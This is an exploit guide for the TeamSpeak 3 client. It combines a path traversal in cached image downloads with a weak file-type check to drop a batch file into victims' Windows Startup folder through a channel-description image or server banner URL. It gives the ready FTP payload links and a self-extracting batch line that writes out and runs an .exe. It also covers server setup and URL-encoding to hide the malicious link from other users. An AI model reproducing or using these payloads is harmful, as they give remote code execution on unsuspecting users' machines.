RFI_TS3

Requirements:
- FTP server
- modify channel description or server admin

TeamSpeak weakpoints:
- image files are not checked for file extensions (client problem)
- traversal directioning is working for cached downloads (client problem)


How to inlcude it into TeamSpeak:

- set an image into a channel description:
  This will download the file when clicking the channel.
        [img]ftp://8.8.8.8/../../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PoC.bat[/img]

- set image into Banner Gfx URL:
  This will download the file when connecting to the server.
        ftp://8.8.8.8/../../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PoC.bat

->      requires an anonymous user on your ftp server with power to download the according file

->      the file the user is going to download has to be a .bat file. You may make this .bat file
        extract an .exe file or any other file and execute it, though :)


How it works:
-       image files are not checked for file extensions by teamspeak, but only for 2 characters wich have to be the first ones.
        Those characters are: "ÿØ"

-       The client is going to download any file wich is starting with those two characters.
        Example:

        ÿØ 2>NUL & @echo off & cls stronkhackorskillz1337 & findstr /v "cls stronkhackorskillz1337" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\PoC.bat" > "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\PoC.exe" & cd "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" & start PoC.exe & del poc.bat & exit

        This would be the first line in the .bat file.
        It is going to delete this first line, then copying itself to a new file called PoC.exe and executing this new file. So if you copy this line into an .exe file making this the first line,
        rename it to .bat -> it "extracts" the .exe and execute it.

        It is important to turn on all symbols when creating this file using notepad++
        http://puu.sh/kDWDS/7631dc484c.png
        Make sure the line ending for the first line looks like this:
        http://puu.sh/kDWGk/447ea4c36c.png
        Otherwise it won't work!
        To change that ending, press CTRL-F and go to the tab replaceand check the searchmode "regular expressions"
        CR = \r
        LF = \n
        If the line ending shows you only LF, then place your cursor just before the line ending and click "replace" two times until it shows you "1 occurence was replaced." Example in this picture:
        http://puu.sh/kDWPU/74b114fabe.png

-       Travercal directioning is working when downloading files with TeamSpeak, so by default, the file will get downloaded one of the two locations (depends on whether they upgraded to Win10)
        %appdata%\Roaming\TS3Client\cache\remote\banner.4players.de
        %appdata%\Local\TS3Client\cache\remote\banner.4players.de

        So to escape there and get into the startup folder, you'll have to go up 5 times: ../../../../../

        Because we wanted to place the file into the startup directory, we then simply added the path to the startup to the link -> /Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PoC.bat


Setting up your FTP server:
-       Lets assume you want your file to be downloaded into the startup directory..
        So lets assume you go to your ftp-server from outside (ftp://8.8.8.8) This will be your home directory.
        So if you want the file to be downloaded to the startup directory you will have to set up the following directories:

        Roaming/Microsoft/Windows/Start Menu/Programs/Startup/

        inside there you may put any file you want to be downloaded. Remember this has to be a .bat file, because the first two characters have to be "ÿØ". This is only possible with .bat (as far as we tried it)

-       Set up a anonymous user for ftp:
        In order to download the files without problems, you'll have to create an anonymous user with permissions to download from this directory.
        If you want them to upload something, you'll obviuosly have to grant some upload powers as well


Obfuscation:
-       When putting the image link into the channel description, you might as well obfuscate the link so noone sees how its done.
        This does not work when putting the link into the servers banner gfx url!

        Examples:

        Roaming         ->              %52%6F%61%6D%69%6E%67
        8.8.8.8         ->              8%2e8%2e8%2e8
        Microsoft       ->              %4d%69%63%72%6f%73%6f%66%74
        [img]ftp://8.8.8.8/../../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PoC.bat[/img]
        [img]ftp://8%2e8%2e8%2e8/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%52%6F%61%6D%69%6E%67%4d%69%63%72%6f%73%6f%66%74%2f%57%69%6e%64%6f%77%73%2f%53%74%61%72%74%20%4d%65%6e%75%2f%50%72%6f%67%72%61%6d%73%2f%53%74%61%72%74%75%70%2f%50%6F%43%2e%62%61%74[/img]

        so the conversion rules:

      !              %21
      "              %22
      #              %23
      $              %24
      %              %25
      &              %26
      '              %27
      (              %28
      )              %29
      *              %2A
      +              %2B
      ,              %2C
      -              %2D
      .              %2e
      /              %2f                (the "/" behind the IP and before has to stay)
      0              %30
      1              %31
      2              %32
      3              %33
      4              %34
      5              %35
      6              %36
      7              %37
      8              %38
      9              %39
      :              %3A
      ;              %3B
      <              %3C
      =              %3D
      >              %3E
      ?              %3F
      @              %40
      A              %41
      B              %42
      C              %43
      D              %44
      E              %45
      F              %46
      G              %47
      H              %48
      I              %49
      J              %4A
      K              %4B
      L              %4C
      M              %4D
      N              %4E
      O              %4F
      P              %50
      Q              %51
      R              %52
      S              %53
      T              %54
      U              %55
      V              %56
      W              %57
      X              %58
      Y              %59
      Z              %5A
      [              %5B
      \              %5C
      ]              %5D
      ^              %5E
      _              %5F
      `              %60
      a              %61
      b              %62
      c              %63
      d              %64
      e              %65
      f              %66
      g              %67
      h              %68
      i              %69
      j              %6A
      k              %6B
      l              %6C
      m              %6D
      n              %6E
      o              %6F
      p              %70
      q              %71
      r              %72
      s              %73
      t              %74
      u              %75
      v              %76
      w              %77
      x              %78
      y              %79
      z              %7A
      {              %7B
      |              %7C
      }              %7D
      ~              %7E